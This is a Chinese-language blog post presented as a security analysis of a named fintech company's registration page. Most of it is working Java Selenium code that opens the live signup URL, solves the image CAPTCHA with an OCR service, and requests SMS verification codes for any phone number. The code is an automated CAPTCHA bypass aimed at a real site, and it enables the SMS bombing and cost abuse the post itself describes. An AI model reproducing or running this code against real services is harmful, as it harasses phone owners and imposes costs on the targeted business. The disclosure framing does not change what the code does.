前言
由于網站注冊入口容易被黑客攻擊,存在如下安全問題:
- 暴力破解密碼,造成用戶信息泄露
- 短信盜刷的安全問題,影響業務及導致用戶投訴
- 帶來經濟損失,尤其是后付費客戶,風險巨大,造成虧損無底洞
所以大部分網站及App 都采取圖形驗證碼或滑動驗證碼等交互解決方案, 但在機器學習能力提高的當下,連百度這樣的大廠都遭受攻擊導致點名批評, 圖形驗證及交互驗證方式的安全性到底如何? 請看具體分析
一、 占融數科PC 注冊入口
簡介:占融數科(占融數科)成立于2025年之前,核心定位為數字金融服務平臺,服務對象包括銀行、持牌消費金融公司、保險公司等金融機構。其業務覆蓋智能營銷、風控、貸中監控、貸后管理等全流程,并提供資產對接、系統實施等配套服務。
安全分析:
采用傳統的圖形驗證碼方式,具體為4個英文及數字,ocr 識別率在 95% 以上。
?
測試方法:
采用模擬器+OCR識別
1 模擬器交互部分
private OcrClientDddd ddddOcr = new OcrClientDddd();private static String INDEX_URL = "https://zhanrong.rong360.com/site/index/register";@Overridepublic RetEntity send(WebDriver driver, String areaCode, String phone) {RetEntity retEntity = new RetEntity();try {driver.get(INDEX_URL);Thread.sleep(1 * 1000);// 1 輸入手機號Thread.sleep(1 * 1000);WebElement phoneElement = ChromeUtil.waitElement(driver, By.xpath("//input[@placeholder='聯系電話']"), 1);phoneElement.sendKeys(phone);// 2 獲取圖形驗證碼// 2 獲取圖形驗證碼String imgCode = null;WebElement imgElement;byte[] imgByte;StringBuffer imgCodeList = new StringBuffer();for (int i = 0; i < 10; i++) {imgElement = driver.findElement(By.xpath("//img[contains(@src,'/account/vcode?v=')]"));String url = imgElement.getAttribute("src");imgByte = GetImage.callJsByUrl(driver, url);int len = (imgByte != null) ? imgByte.length : 0;imgCode = (len > 500) ? ddddOcr.getImgCode(imgByte) : null;if (imgCode == null || imgCode.length() != 4) {((JavascriptExecutor) driver).executeScript("arguments[0].click();", imgElement);Thread.sleep(1000);// 記錄嘗試次數及解析驗證碼if (imgCodeList.length() > 0)imgCodeList.append(",");imgCodeList.append(i + ":" + imgCode);continue;}break;}if (imgCode == null || imgCode.length() != 4) {retEntity.setMsg(imgCodeList.toString());return retEntity;}// 3 輸入識別出來的圖形驗證碼WebElement inputVcodeElement = driver.findElement(By.xpath("//input[@placeholder='圖形驗證碼']"));inputVcodeElement.sendKeys(imgCode);// 4 點擊獲取驗證碼Thread.sleep(1 * 1000);WebElement sendElement = driver.findElement(By.xpath("//button/span[contains(text(),'獲取驗證碼')]"));sendElement.click();Thread.sleep(1 * 1000);String gtInfo = sendElement.getText();retEntity.setMsg("imgCode:" + imgCode + "->" + gtInfo);if (gtInfo != null && gtInfo.contains("s后重新獲取")) {retEntity.setRet(0);return retEntity;}return retEntity;} catch (Exception e) {System.out.println("phone=" + phone + ",e=" + e.toString());for (StackTraceElement ele : e.getStackTrace()) {System.out.println(ele.toString());}return null;} finally {driver.manage().deleteAllCookies();}}
2 獲取圖形驗證碼
public String getImgCode(byte[] bigImage) {try {if (ddddUrl == null) {System.out.println("getImgCode() ddddUrl=" + ddddUrl);return null;}int len = (bigImage != null) ? bigImage.length : -1;if (len < 0) {System.out.println("getImgCode() len=" + len);return null;}long time = (new Date()).getTime();HttpURLConnection con = null;String boundary = "----------" + String.valueOf(time);String boundarybytesString = "\r\n--" + boundary + "\r\n";OutputStream out = null;URL u = new URL(ddddUrl);con = (HttpURLConnection) u.openConnection();con.setRequestMethod("POST");con.setConnectTimeout(10 * 1000);con.setReadTimeout(10 * 1000);con.setDoOutput(true);con.setDoInput(true);con.setUseCaches(true);con.setRequestProperty("Content-Type", "multipart/form-data; boundary=" + boundary);out = con.getOutputStream();out.write(boundarybytesString.getBytes("UTF-8"));String paramString = "Content-Disposition: form-data; name=\"image\"; filename=\"" + "bigNxt.gif" + "\"\r\n";paramString += "Content-Type: application/octet-stream\r\n\r\n";out.write(paramString.getBytes("UTF-8"));out.write(bigImage);String tailer = "\r\n--" + boundary + "--\r\n";out.write(tailer.getBytes("UTF-8"));out.flush();out.close();StringBuffer buffer = new StringBuffer();BufferedReader br = new BufferedReader(new InputStreamReader(con.getInputStream(), "UTF-8"));String temp;while ((temp = br.readLine()) != null) {buffer.append(temp);}String ret = buffer.toString();if (ret.length() < 1) {System.out.println("getImgCode() ddddUrl=" + ddddUrl + ",len=" + len + "->ret=" + buffer.toString());}return buffer.toString();} catch (Throwable e) {logger.error("getImgCode() ddddUrl=" + ddddUrl + ",e=" + e.toString());return null;}}
3 測試返回結果:
4 測試報告 :
二丶結語
占融數科(占融數科)成立于2025年之前,核心定位為數字金融服務平臺,服務對象包括銀行、持牌消費金融公司、保險公司等金融機構。其業務覆蓋智能營銷、風控、貸中監控、貸后管理等全流程,并提供資產對接、系統實施等配套服務。
作為金融風控服務商,技術實力雄厚, 采用的卻還是老一代的圖形驗證碼已經落伍了, 用戶體驗一般,容易被破解, 一旦被國際黑客發起攻擊,將會對老百姓形成騷擾,影響聲譽。
很多人在短信服務剛開始建設的階段,可能不會在安全方面考慮太多,理由有很多。
比如:“ 需求這么趕,當然是先實現功能啊 ”,“ 業務量很小啦,系統就這么點人用,不怕的 ” , “ 我們怎么會被盯上呢,不可能的 ”等等。有一些理由雖然有道理,但是該來的總是會來的。前期欠下來的債,總是要還的。越早還,問題就越小,損失就越低。
所以大家在安全方面還是要重視。(血淋淋的栗子!)#安全短信#
戳這里→康康你手機號在過多少網站注冊過!!!
谷歌圖形驗證碼在AI 面前已經形同虛設,所以谷歌宣布退出驗證碼服務, 那么當所有的圖形驗證碼都被破解時,大家又該如何做好防御呢?
>>相關閱讀
《騰訊防水墻滑動拼圖驗證碼》
《百度旋轉圖片驗證碼》
《網易易盾滑動拼圖驗證碼》
《頂象區域面積點選驗證碼》
《頂象滑動拼圖驗證碼》
《極驗滑動拼圖驗證碼》
《使用深度學習來破解 captcha 驗證碼》
《驗證碼終結者-基于CNN+BLSTM+CTC的訓練部署套件》